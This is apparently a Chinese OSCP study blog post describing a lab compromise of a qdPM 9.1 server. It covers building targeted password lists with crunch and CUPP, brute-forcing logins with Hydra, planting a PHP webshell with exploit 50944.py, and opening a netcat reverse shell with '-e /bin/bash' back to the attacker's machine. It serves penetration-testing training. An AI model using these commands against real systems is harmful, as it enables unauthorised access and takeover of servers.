❼⁄₅ ⟦ OSCP ⬖ 研记 ⟧ 查找漏洞的公共利用 ➱ 实操案例(下)

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉 晖度丨安全视界 🚀

​​​​

▶ 信息收集

▶ 漏洞检测

初始立足点 ➢ 查找漏洞的公共利用 ➢ 漏洞利用实操案例🔥🔥🔥

▶ 权限提升

▶ 横向移动

▶ 报告/分析

▶ 教训/修复

目录

1.查找漏洞公共利用

[1.4 漏洞利用实操案例](#1.4 漏洞利用实操案例)

[1.4.4 破解登录凭证](#1.4.4 破解登录凭证)

[1.4.4.1 密码攻击流程](#1.4.4.1 密码攻击流程)

[1.4.4.2 关键步骤详解](#1.4.4.2 关键步骤详解)

[1.4.4.3 攻击成果](#1.4.4.3 攻击成果)

[1.4.5 使用漏洞利用程序获取Webshell控制权](#1.4.5 使用漏洞利用程序获取Webshell控制权)

[1.4.5.1 漏洞利用执行流程](#1.4.5.1 漏洞利用执行流程)

[1.4.5.2 关键步骤详解](#1.4.5.2 关键步骤详解)

[1.4.5.3 技术成果总结](#1.4.5.3 技术成果总结)

[1.4.6 通过Webshell获取反向Shell](#1.4.6 通过Webshell获取反向Shell)

[1.4.6.1 反向Shell建立流程](#1.4.6.1 反向Shell建立流程)

[1.4.6.2 关键步骤详解](#1.4.6.2 关键步骤详解)

[1.4.6.3 技术成果总结](#1.4.6.3 技术成果总结)

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


接前文。

1.查找漏洞公共利用

漏洞利用(Exploit) :一个能够利用目标系统缺陷或漏洞的程序或脚本,查找这种脚本并利用。

1.4 漏洞利用实操案例

本次演示旨在通过一个结构化的渗透测试工作流程,利用一个已知的公开漏洞来攻陷一台专用的Linux服务器。

核心目标: 完全利用并控制目标服务器(IP: 192.168.50.10)。

攻击流程(重要):

  1. 信息收集与枚举:

    • 首先对目标系统 192.168.50.10 进行基本的网络枚举,以识别开放的端口、运行的服务以及可能存在的脆弱应用程序。

    • 注:为了简洁,部分常规枚举步骤被省略。

  2. 漏洞发现与分析:

    • 基于枚举结果,分析目标系统上托管的应用程序,并发现其中存在一个易受公开利用的漏洞

    • 随后,主动搜索并找到适用于该特定漏洞的公开漏洞利用代码。

  3. 漏洞利用与初始访问:

    • 执行找到的公开漏洞利用代码,针对目标应用程序发起攻击。

    • 攻击成功后在目标主机 (192.168.50.10) 上获得了一个有限的 Shell 访问权限,这标志着成功实现了远程代码执行,建立了初步的立足点。

  4. 后续利用:

    • 获得初始 Shell 后,标准的渗透测试流程会进一步进行权限提升权限维持 ,直到完全控制目标机器,获得持续的交互式控制

1.4.4 破解登录凭证

在确认漏洞利用需要有效的密码凭据后,我们转向密码攻击。本节详细描述了如何利用前期收集的信息,通过生成和优化密码字典,最终成功爆破出登录账号的全过程。

1.4.4.1 密码攻击流程

下图清晰地展示了从信息收集到成功破解的完整工作流:

1.4.4.2 关键步骤详解

利用刚刚在**"About Us**"页面上看到的四个电子邮件地址作为账户,并使用密码字典攻击来尝试。

  1. 生成基础密码字典

    • 目标:创建一个覆盖面广的基础密码列表。

    • 工具 :使用 Crunch

    • 命令与参数

      bash 复制代码
      $ crunch 8 10 -o password_list.txt -t @@%% -f /usr/share/cracklib/cracklib-small
    • 解读 :生成长度8-10位,格式为"小写字母+小写字母+数字+数字 "(如 ab12)的密码组合。具体密码规则 如下:*(**注:*密码规则需要另行了解到!)

      参数 说明
      8 10 指定生成密码的长度范围,从最短8个字符到最长10个字符。
      -o password_list.txt 指定输出文件 的名称。生成的密码列表将被保存到 password_list.txt 文件中。
      -t @@%% 指定生成密码的格式模式(Pattern) 。 • @ 代表一个小写字母 • % 代表一个数字 因此,@@%% 表示一个由【两个小写字母 + 两个数字 】组成的模式(例如:ab12, xy89)。
      -f /usr/share/cracklib/cracklib-small 指定使用的字符集文件 。此参数告诉 crunch 使用 Kali Linux 系统中预置的 cracklib-small 文件作为字符集来源,该文件包含了一个常用的、经过优化的英文字符列表。
  2. 优化字典以增加复杂性

    • 目标:使基础密码字典(password_list.txt)更智能、更具针对性,提高破解成功率。

    • 方法

      • 技巧性修改 :在基础字典上添加符号、大小写变换、常见词语拼接等。

      • 社会工程学 :以基础密码字典password_list.txt为基本,使用 CUpp -i 工具扩容密码字典。过程中,它提示你输入目标的姓名、生日等个人信息,生成高度相关的个性化密码字典

        bash 复制代码
        $ cupp -i -w password_list.txt
      • 结果反馈示例:

        bash 复制代码
         ___________
           cupp.py!                 # Common
              \                     # User
               \   ,__,             # Passwords
                \  (oo)____         # Profiler
                   (__)    )\
                      ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                                    [ Mebus | https://github.com/Mebus/]
        
        
        [+] Insert the information about the victim to make a dictionary
        [+] Found existing wordlist: password_list.txt
        [+] I will use it as base and extend it with personal info
        
        > First Name: george
        > Surname: devlin  
        > Nickname: geo
        > Birthdate (DDMMYYYY): 12081985
        
        > Partner's name: sarah
        > Partner's nickname: sar
        > Partner's birthdate (DDMMYYYY): 05121988
        
        > Company name: AIDevCorp
        
        > Do you want to add some key words about the victim? Y/[N]: y
        > Please enter the words: ai,developer,project
        
        > Do you want to add special chars at the end of words? Y/[N]: y
        > Do you want to add some random numbers at the end of words? Y/[N]: y
        > Leet mode? (i.e. leet = 1337) Y/[N]: y
        
        [+] Now extending the existing dictionary with personal information...
        [+] Sorting list and removing duplicates...
        [+] Saving extended dictionary to george.txt, counting 8924 words.

      生成字典示例:

      形如以下变形的个性化字典:

      复制代码
      pass123george
      pass123geo
      pass123AIDevCorp
      pass1231208
      pass1231985
      复制代码
      p@ss123
      p@ss123george
      p@ssw0rd
      p@ssw0rdAIDevCorp
      @dm1n
      @dm1ngeo
      复制代码
      pass123!
      georgepass123
      AIDevCorp2023
      geo1208
      developer85

      输出增强的字典文件: george.txt,包含了8924个密码。为了规整,把george.txt重命名回password_list.txt

  3. 实施暴力破解攻击

    • 目标:使用字典password_list.txt对目标登录门户发起自动化攻击。

    • 工具 :使用 Hydra

    • 命令与参数

      bash 复制代码
      $ hydra -l george@AIDevCorp.org -P password_list.txt http://192.168.50.10/project -t 4 http-get

      该命令指示Hydra使用字典password_list.txt中的密码对指定URL尝试以该用户名登录,实际中,轮流使用**"About Us**"页面上看到的四个电子邮件地址作为账户进行破解。

      参数 示例值 说明
      -l username 指定单个用户名进行破解。
      -P password_list.txt 指定密码字典文件的路径,Hydra 将读取该文件中的密码进行尝试。
      目标URL http://192.168.50.10/project 指定攻击目标的网站地址或IP。
      -t 4 线程数,同时进行破解的连接数,提高破解速度。
      方法 http-get 指定HTTP请求方法,这使用GET请求来尝试登录。

1.4.4.3 攻击成果

经过一系列的字典生成与爆破攻击,最终成功获取了有效的系统凭证

字段 有效凭证
用户名 george@AIDevCorp.org
密码 AIDevCorp

**然后登录系统:**http://192.168.50.10/project

登录后, 可以枚举项目管理系统的任务、项目和一些配置。因为我们刚刚找到了一个需要有效凭据的漏洞,现在我们可以针对目标执行该漏洞利用:50944.py


1.4.5 使用漏洞利用程序获取Webshell控制权

在获得有效凭证后,我们开始执行针对qdPM 9.1的漏洞利用程序,在目标系统上部署Webshell,并验证远程代码执行能力。

1.4.5.1 漏洞利用执行流程

1.4.5.2 关键步骤详解

  1. 准备漏洞利用

    • 使用 searchsploit 工具将公开的漏洞利用代码 50944.py 复制到当前工作目录。
  2. 执行漏洞利用

    • 再次详细阅读50944.py代码。运行漏洞利用程序,按照格式要求提供必要的参数:

      bash 复制代码
      $ python3 50944.py -url http://192.168.50.10/project/ -u george@AIDevCorp.org -p AIDevCorp

      注:

      authenticity_token脚本自动从登录页提取,再自动填充到登录请求中 的,无需你手动输入或修改;

      ②脚本的代码要详细阅读,形如以下内容,说明如何正确传入的参数:

      -url:目标qdPM系统的URL地址

      -u:有效的用户名(邮箱格式)

      -p:对应的密码

  3. 处理执行反馈

    • 漏洞利用执行后返回错误提示:"您无法使用指定的管理员帐户,因为它们没有我的帐户页面。"

      **!!!注意:**因实验环境IP地址漂移,这里的目标主机192.168.50.11就是前文的目标主机192.168.50.10。后续一样,特此说明。

    • 关键发现:尽管有错误提示,但侧面证明命令已正确执行并与目标系统交互。

  4. 分析利用机制

    • 再次审查 50944.py 源代码,发现漏洞利用:

      • 命令Webshell 上传到特定目录:/projects/uploads/users/

      • 文件名称为:420919-backdoor.php

      • 通过 cmd 参数执行系统命令

  5. 验证远程代码执行

    • 使用 curl 命令验证Webshell功能:

    • 执行结果 :返回 www-data,确认:

      • Webshell已成功部署

      • 具备在目标系统上执行命令的能力

      • 当前权限为Web服务用户(www-data),这个是一个低权限用户。

1.4.5.3 技术成果总结

项目 成果
漏洞利用状态 ✅ 成功执行
Webshell位置 /projects/uploads/users/420919-backdoor.php
访问方法 ?cmd=命令 参数
当前权限 www-data(Web服务用户)
攻击进展 获得初始立足点,具备远程命令执行能力

至此,我们已成功突破目标系统边界,获得了有限的命令执行权限

下一步将围绕权限提升持久化控制 展开,以完成对目标的完全控制


1.4.6 通过Webshell获取反向Shell

在获得基本的命令执行能力后,我们进一步升级攻击,通过Webshell建立反向Shell连接,获得一个交互式的系统控制权限

1.4.6.1 反向Shell建立流程

1.4.6.2 关键步骤详解

  1. 环境侦察:检查目标机器上是否安装Netcat

    • 使用URL编码方式通过Webshell执行命令,检查目标系统是否安装netcat:

      可以使用**--data-urlencode选项**自动URL编码我们的参数。

      bash 复制代码
      $ curl http://192.168.50.11/project/uploads/users/420919-backdoor.php --data-urlencode "cmd=which nc"
      复制代码
    • 结果确认 :目标系统已安装netcat,为建立反向Shell创造了条件。

  2. 准备接收端:在Kali上启动监听

    • 在攻击者机器(Kali,IP: 192.168.50.129)上开启netcat监听器:

      bash 复制代码
      $ nc -nlvp 6666
  3. 触发反向连接:通过Webshell执行攻击

    • 在攻击者机器kali的另一个终端中,通过Webshell触发反向连接:

      bash 复制代码
      $ curl http://192.168.50.11/project/uploads/users/420919-backdoor.php --data-urlencode "cmd=nc -nv 192.168.50.129 6666 -e /bin/bash"
    • 命令解析

      部分 功能
      nc -nv 启动netcat,不解析DNS,详细输出
      192.168.50.129 6666 连接回攻击者的IP和端口
      -e /bin/bash 关键参数:将bash shell绑定到网络连接
  4. 建立控制通道:获得交互式Shell

    • 切换回kali的netcat监听终端,观察连接状态:

      • 显示成功连接消息

      • 获得交互式命令行提示符

      • 通过 whoami 命令确认当前用户为 www-data

1.4.6.3 技术成果总结

阶段 成果 意义
环境验证 ✅ Netcat可用 确认具备建立反向Shell的基础条件
监听准备 ✅ Kali端口监听就绪 建立攻击接收端
连接触发 ✅ 反向Shell命令执行 通过Webshell触发出站连接
控制建立 ✅ 获得交互式Shell 攻击升级:从简单命令执行到完全交互控制

攻击影响评估

  • 权限级别 :获得了 www-data 用户的Shell访问权限

  • 控制能力 :从简单的单次命令执行升级为持续的交互式控制

  • 网络位置 :成功建立了从目标内网到攻击者机器的持久控制通道

  • 后续可能 :为权限提升横向移动攻击奠定了基础

🎯 攻击里程碑:至此,我们成功在目标系统上建立了稳固的初始访问权限,攻击链的第一阶段圆满完成!


欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。感谢阅读,下一篇文章见。

相关推荐
小菜今天没吃饱3 小时前
DVWA-XSS(stored)
前端·网络安全·xss·dvwa
Bruce_Liuxiaowei3 小时前
[特殊字符] 安全日志分析的关键技术与知识体系
安全·网络安全
百度安全4 小时前
企业人员安全意识解决方案 帮助企业构建可持续的安全意识培养生态
安全·网络安全·安全威胁分析
北京耐用通信4 小时前
协议转换新标杆!耐达讯自动化Ethernet IP转CC-Link方案,让编码器‘说话‘更高效“
人工智能·物联网·网络协议·网络安全·自动化·信息与通信
汤愈韬4 小时前
知识点1:防火墙是如何方式IP欺骗的
网络协议·网络安全·security·huawei
重生之我在番茄自学网安拯救世界4 小时前
网络安全中级阶段学习笔记(一):弱口令与暴力破解核心知识点梳理
网络安全·暴力破解·弱口令
clown_YZ5 小时前
HeroCTF 2025--部分题解
网络安全·逆向·ctf
文刀竹肃5 小时前
theHarvester - 企业信息收集工具详解
安全·网络安全
NewCarRen5 小时前
AI驱动的网联自动驾驶汽车网络安全测试方法
网络安全